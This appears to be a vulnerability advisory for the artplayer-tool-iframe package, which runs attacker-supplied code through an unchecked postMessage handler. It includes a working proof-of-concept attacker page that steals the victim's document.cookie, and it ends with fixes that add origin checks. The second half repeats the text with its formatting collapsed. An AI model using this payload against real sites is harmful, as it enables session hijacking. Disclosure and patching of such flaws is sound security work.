Summary
artplayer-tool-iframe (v1.1.0 and below) registers a window.addEventListener("message") handler that executes attacker-controlled code via new Function(event.data.data)() without validating event.origin or event.source. Any cross-origin page that can obtain a reference to the iframe window (e.g., a parent page, an opener, or a sibling frame) can execute arbitrary JavaScript in the iframe's origin context.
Affected Component
- Package:
artplayer-tool-iframe v1.1.0 (bundled in the ArtPlayer monorepo)
- File:
packages/artplayer-tool-iframe/src/index.js
- Method:
ArtplayerToolIframe.onMessage()
- Trigger: Any page calling
ArtplayerToolIframe.inject() inside an iframe (as shown in docs/iframe.html)
Root Cause
// packages/artplayer-tool-iframe/src/index.js — line 27-43
static async onMessage(event) {
// ❌ No event.origin check
// ❌ No event.source check
const { type, data, id } = event.data
switch (type) {
case 'commit':
// ❌ Directly passes untrusted 'data' string into new Function()
const result = new Function(data)() // ← Arbitrary code execution
...
}
}
static inject() {
// Registers the vulnerable handler on ANY message
window.addEventListener('message', ArtplayerToolIframe.onMessage)
}
Attack Scenario
- A website deploys ArtPlayer inside an iframe and calls
ArtplayerToolIframe.inject() (as documented in the official usage guide)
- An attacker embeds that site in their own page via
<iframe>, or the victim visits an attacker-controlled page that opens a reference to the player page
- The attacker sends a
postMessage to the player iframe with {type: "commit", data: "<malicious JS>"}
- The victim iframe executes the malicious code and returns the result back via
postMessage
Proof of Concept
Prerequisites
- Node.js / Python for a local HTTP server
artplayer@5.4.0 and artplayer-tool-iframe v1.1.0 from CDN
Steps to Reproduce
git clone <this-poc-directory>
cd artplayer-postmessage-xss
python3 -m http.server 8080
# Open http://localhost:8080/exploit.html
exploit.html (attacker page):
<iframe id="victim" src="victim-player.html"></iframe>
<script>
const victim = document.getElementById('victim');
window.addEventListener('message', function(ev) {
if (ev.data.type === 'inject') {
// Victim iframe is ready — send exploit
victim.contentWindow.postMessage({
type: 'commit',
data: 'return document.cookie',
id: 1
}, '*');
}
if (ev.data.type === 'response') {
console.log('STOLEN:', ev.data.data);
// → "session_token=eyJhbGciOiJIUzI1NiJ9..."
}
});
</script>
victim-player.html (legitimate site using ArtPlayer):
<script src="artplayer.js"></script>
<script type="module">
import ArtplayerToolIframe from './artplayer-tool-iframe.mjs';
new Artplayer({ container: '.artplayer-app', url: 'video.mp4' });
ArtplayerToolIframe.inject(); // ← Enables the vulnerable handler
</script>
Result
Clicking "Steal Cookies" in the PoC sends:
victim.contentWindow.postMessage({type: "commit", data: "return document.cookie", id: 1}, "*")
The iframe executes new Function("return document.cookie")() and posts the cookie value back to the attacker page. No user interaction required beyond loading the page.
Suggested Fix
Add origin validation in onMessage():
static async onMessage(event) {
// Fix: validate that the message comes from the expected parent origin
if (event.origin !== window.location.origin &&
event.origin !== expectedParentOrigin) {
return;
}
// ... rest of handler
}
Alternatively, allow users to configure a trusted origin:
static inject({ trustedOrigin } = {}) {
ArtplayerToolIframe._trustedOrigin = trustedOrigin;
window.addEventListener('message', ArtplayerToolIframe.onMessage);
}
static async onMessage(event) {
if (ArtplayerToolIframe._trustedOrigin &&
event.origin !== ArtplayerToolIframe._trustedOrigin) {
return;
}
// ...
}
Summary
artplayer-tool-iframe(v1.1.0 and below) registers awindow.addEventListener("message")handler that executes attacker-controlled code vianew Function(event.data.data)()without validatingevent.originorevent.source. Any cross-origin page that can obtain a reference to the iframe window (e.g., a parent page, an opener, or a sibling frame) can execute arbitrary JavaScript in the iframe's origin context.Affected Component
artplayer-tool-iframev1.1.0 (bundled in the ArtPlayer monorepo)packages/artplayer-tool-iframe/src/index.jsArtplayerToolIframe.onMessage()ArtplayerToolIframe.inject()inside an iframe (as shown indocs/iframe.html)Root Cause
Attack Scenario
ArtplayerToolIframe.inject()(as documented in the official usage guide)<iframe>, or the victim visits an attacker-controlled page that opens a reference to the player pagepostMessageto the player iframe with{type: "commit", data: "<malicious JS>"}postMessageProof of Concept
Prerequisites
artplayer@5.4.0andartplayer-tool-iframev1.1.0 from CDNSteps to Reproduce
exploit.html (attacker page):
victim-player.html (legitimate site using ArtPlayer):
Result
Clicking "Steal Cookies" in the PoC sends:
The iframe executes
new Function("return document.cookie")()and posts the cookie value back to the attacker page. No user interaction required beyond loading the page.Suggested Fix
Add origin validation in
onMessage():Alternatively, allow users to configure a trusted origin: